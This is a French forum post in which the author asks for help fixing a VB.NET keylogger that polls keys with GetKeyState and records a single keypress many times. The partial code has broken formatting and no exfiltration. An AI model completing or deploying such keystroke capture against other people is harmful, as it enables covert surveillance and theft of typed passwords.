Bonsoir à tous,
J'essaye de développer un Keylog grace au Api GetAsyncKeyState et GetKeyState ! Il fonctionne correctement apart une problème que je n'arrive pas à solutionner ! Si je tape une fois la touche ' a ' il me renvoie cette chaine "aaaaaaaaa" et ça pour toute les lettres ! Qqun a-t'il une idee pour résoudre ce problème ? merci
Voila une partie de mon code :
Public Function Demarrer() As
IntegerY =1
Do While Y = 1
Application.DoEvents()
Clavier
Loop
End Function
Private Sub Clavier()
Dim x As Integer
For
x = 65
To
90
If
(GetKeyState(x) < 0)
Then
Application.DoEvents()
I f
(GetKeyState(10) < 0)
then
Texte = Texte & chr(x)
Else
Texte = Texte & chr(x + 32)
End if End If
Next
End Sub